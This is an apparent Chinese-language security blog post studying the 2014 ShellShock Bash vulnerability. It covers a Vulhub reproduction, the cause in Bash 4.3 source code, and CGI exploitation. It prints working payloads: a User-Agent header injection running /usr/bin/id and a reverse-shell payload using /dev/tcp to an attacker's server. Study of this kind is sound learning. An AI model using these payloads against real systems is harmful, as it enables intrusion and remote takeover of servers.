内容纲要

前言

周末学习了 ShellShock 破壳漏洞的原理及利用 , 感觉挺有意思的 . 这是个老漏洞了 , 网上有非常多的源码级分析文章 . 我这里仅简单的整理记录一下~

说点题外话哈 , 我接触安全行业的时间比较晚 , 所以最开始我并不知道这个漏洞 . 但在上次学习 Bypass Disable_functions 时无意了解到利用 ShellShock 可以绕过这个限制( 详细内容可以参考 PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Injection ) , 非常好奇, 因此现在抽空学习一波 .


ShellShock ( CVE-2014-6271 )

虽然该漏洞的名称为 ShellShock( 中译为 " Shell 破壳漏洞 " ) , 但实际上是产生于 GNU BASH( Bourne Again Shell ) . Bash是一个命令处理器 , 通常运行于文本窗口中 , 能执行用户输入的命令 . 有关 Bash 的相关内容可以参考 维基百科 , 这里就不多说了 .

ShellShock 漏洞是在 2014 年 9月 被披露的 , 该漏洞最早可以追溯到 1989 年发布的 Bash 1.03 版本 , 距今已有快30年了 . 在漏洞刚被披露时 , 其严重性直接被定义为 10 级( 最高级别 ) , 要知道同年 4 月爆发的 " OpenSSL 心脏出血 " 漏洞才 5 级 , 可见其危害性之大 , 影响范围之广 .

好了 , 不多说了 , 来看一看 ShellShock 漏洞到底是怎么一回事


漏洞复现

Vulhub 有搭建好的 Docker 环境 , 我们可以直接运行 .

  • 在浏览器访问 : http://127.0.0.1:8000/victim.cgi , 即可看到存在 ShellShock 漏洞的界面

  • 在浏览器访问 : http://127.0.0.1:8000/safe.cgi , 即可看到修复 ShellShock 漏洞后的界面

然后根据给出的 POC , 可以构造 Payload 来利用存在 ShellShock 漏洞的 victim.cgi 文件 , 如下

Payload : () { foo; };echo;/usr/bin/id

将该 Payload 放置于 HTTP 数据报头的 User-Agent 字段中 , 然后通过 Curl 工具构造发送 .

可以看到我们植入的 Payload 被成功的执行了 . 而当我们攻击安全的 safe.cgi 文件时 , 服务器仅会返回正常的 HTML 页面 .

那么这个任意代码执行的漏洞究竟是如何产生的呢 ? 下面我们来简单分析一下 .


漏洞成因分析

在 bash 中可以自定义 Shell 变量 , 如下所示

但此时该变量仅是当前 Shell 的一个局部变量 , 只有在当前 Shell 进程中可以调用 . 即使是当前 Shell Fork 出的子进程 , 也是不能访问该变量的 .

为此 , 我们可以通过 export 命令 , 将该变量转变为一个环境变量 , 这样当前 Shell 的子进程就可以访问它了

不仅如此 , 在 Bash 中还可以定义 Shell 函数并将其导出为环境函数 , 只需要指明 -f 参数即可

上图这种函数的定义方法是非常普遍的 , 很容易理解 . 但在 Bash 中还有一种独有的方法来定义函数 , 即 : 通过环境变量来定义函数

当某个环境变量的值以字符串 " () { " 的格式作为开头( 注意大括号与小括号间的空格不能少 ) , 那么该变量就会被当前 Bash 当作一个导出函数( export function ) , 该函数仅会在当前 Bash 的子进程中生效 . 在很多文章中会把它称为 Bash 的 "自动导入机制( 自动导入函数到当前 Bash 的子进程 ) "

由于 ShellShock 漏洞的危害性之大 , 很多 Linux 发行版都默认关闭了 Bash 的自动导入机制 , 所以下面采用 bash 4.3.0 作为实验环境

因为这种独特的函数定义方式仅会在当前 bash 的子进程中生效 , 所以网络上很多帖子给出的 POC 都是下面这样 .

POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

     env : 设置环境变量后执行程序

     bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义

通过 bash -c 开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出 vulnerable , 然后再输出 this is a test .

简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .

Shellshock漏洞回顾与分析测试 中有一副图做的非常棒 , 十分容易理解 , 这里贴出来 .

其实这是一种注入攻击 , 其本质就是数据( 环境变量 )与代码( 恶意命令 )未分离 . 攻击者可以通过构造恶意参数使得解析器错误地执行了数据中的恶意命令 .


Bash 4.3 源代码分析

上面简单的谈了下 ShellShock 漏洞产生的原因 , 但具体的细节还没有说清楚 . 下面针对 Bash 4.3.0 的源码进行分析 .

  1. 首先从 GNU.ORG 上下载一份 Bash 4.3 的源码

  2. variables.c : 315

    因为 ShellShock 触发于 Bash 子进程初始化环境变量的时候 . 所以我们进入 variables.c 文件 , 找到 initialize_shell_variables() 函数 .

    这里先定义了一些参数 , 然后循环遍历所有环境变量 , 通过 " = " 来分割变量名与变量值 .

    注释写的很清楚 , 先判断刚才获取到的环境变量中是否有不合法的( 比如 "=xxx" 或者没有等号的 ) . 如果发现不合法的变量 , 就跳过它们 .

    然后会将所有合法的环境变量进行赋值操作 , 其中

     name : 环境变量名
     string : 环境变量值
     char_index : 环境变量名的长度

    这里比较重要 , Google 上很多帖子也把这里作为 ShellShock 漏洞产生的地点 . 此处先判断是否存在自动导出函数( 通过 "() {" 来判断 ) , 若存在就将其定义为一个函数 . 同时判断当前是否处于 privileged mode ,若不处于该模式就将之前导出的函数导入到新的环境变量中 .

    注意这里 , string( 获取到的环境变量值 ) 没有进行任何过滤 , 就被放入到 parse_and_execute 函数中 . 这是典型的注入漏洞 .

    值得一提的是这个 privieged mode , 因为根据源代码 , 若当前环境处于该模式下 , ShellShock 攻击将不会成功 .

     privileged mode 即为 " 特权模式 " , 要求目标进程的 real-UID 与 effective UID 一致
    
     real-UID 指定是谁启动了目标进程 , 而 effective-UID 指定目标进程可以访问哪些资源 . 
    
     通常情况下 , 这两个值是相同的 , 但如果调用了 setuid() 这类函数 , 那么它们的值将会发生变化

    上述内容可以参考 Unix Incompatibility Notes: UID Setting Functions

    其实 , privileged mode 的值是被默认定义为 0 的 , 所以我并不明白这里的判断有什么实际含义 . 网络上也没有谁给出具体的答案 , 如果您知道 , 欢迎留言 .

后面就没什么好说的了 , 我们输入的恶意代码会被带入 parse_and_execute() 函数 , 该函数类似其他高级语言( 例如 PHP )中的 eval 函数 , 能够解析并执行字符串 .


漏洞利用

现在关于 ShellShock 漏洞产生的原因已经分析的差不多了 , 但是还存在一些疑问 . 比如为什么一个在 Bash 上的漏洞会影响到 Web 服务? 为什么攻击者可以通过 Web 页面攻击主机 Shell ?

PHP-FPM 学习笔记 一文中我提到过使用 CGI 脚本生成 HTML 页面的具体流程 . 其实 , 不只是 PHP , 像 Perl , Python , Bash 等脚本语言都可以用于编写 CGI 脚本 .

而 Bash 可能是用于 CGI 脚本编写中最简单的语言了 . 用 Bash 来进行 CGI 编程的最大优势是它能够直接访问所有的标准 GNU 工具和系统程序 .

那么为什么系统环境变量会影响到 CGI 脚本的执行呢 ?

     CGI 脚本会继承系统的环境变量 . CGI 环境变量在CGI程序启动时初始化 , 在结束时销毁 . 

     当一个 CGI 脚本未被 HTTP 服务器调用时 , 它的环境变量几乎是系统环境变量的复制 . 当这个 CGI 脚本被 HTTP 服务器调用时 , 它的环境变量就会增加关于 HTTP 服务器 , 客户端 , CGI传输过程等条目 .

具体内容可以参考 WEB-CGI 详解 这篇文章 , 我们要知道的是 : 当 CGI 脚本接收到一次 HTTP 请求 , 它的环境变量就会新增一些条目 , 比如 User-Agent , Connection 等信息 .

因此 , 在给出的 POC 中 , 我们通过修改 User-Agent 来修改 CGI 环境变量

Payload : () { :; };echo;/usr/bin/id;

这里 echo; 是不可以省略的 , 相当于换行符 . HTTP Header 一行只对应一个键值对 .

由于该 CGI 脚本是用 Bash 编写的 , 所以我们可以直接访问标准 GNU 工具库 , 比如 /usr/bin/id .

这里修改 HTTP Header 的其他字段也都是可以的 , 比如现在修改 Connection 字段的值

其实本质上都是通过修改 HTTP Header 来修改 CGI 程序的环境变量 , 间接修改 Bash 环境变量 , 触发 ShellShock 漏洞 , 执行恶意代码 .

我们还可以通过 ShellShock 反弹 Shell , 以便更深入的利用

Payload : () { :; };echo;/bin/bash -i >& /dev/tcp/你的服务器地址/2333 0>&1;

成功拿到目标主机的 Shell .

其实在 Metasploit-Framework 中早已集成了 ShellShock 的 Exploit , 利用比较简单 , 这里就不演示了~


漏洞利用场景

既然 ShellShock 的本质是注入漏洞 , 那么漏洞利用的场景就非常好判断了

  1. 程序在某一时刻使用 bash 作为脚本解释器处理环境变量赋值

  2. 环境变量的赋值字符串来源于用户输入 , 且没有通过有效的过滤

若满足以上两个条件 , 该站点很有可能存在 ShellShock 漏洞~


总结

虽然官方在 CVE-2014-6271 披露后很快发布了修复补丁 , 但该补丁很快被绕过了( CVE-2014-7169 ) . 并且后续不断有新的绕过方法 , 仅在知道创宇的 破壳漏洞(ShellShock)应急概要 最终版V4 中就提到了 7 次破壳 . 而这还只是 5 年前的统计数据 !

简单分析了后续给出的 POC , 感觉还是很有意思的 , 需要用到很多 Bash 语法上的技巧 . 所以我想单独拿出来研究学习一波~ 这里就不多说了 .

不过 ShellShock 本质上还是注入攻击 , 防御应该从 " 数据与代码分离 " 这个角度来实施 , 而非单纯使用黑名单过滤限制 . 可能其中有什么困难吧 !

本文就先到这里 , 过几天有个复试 , 我得准备一下 , 加油吧 !

最后修改日期:2020年3月9日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。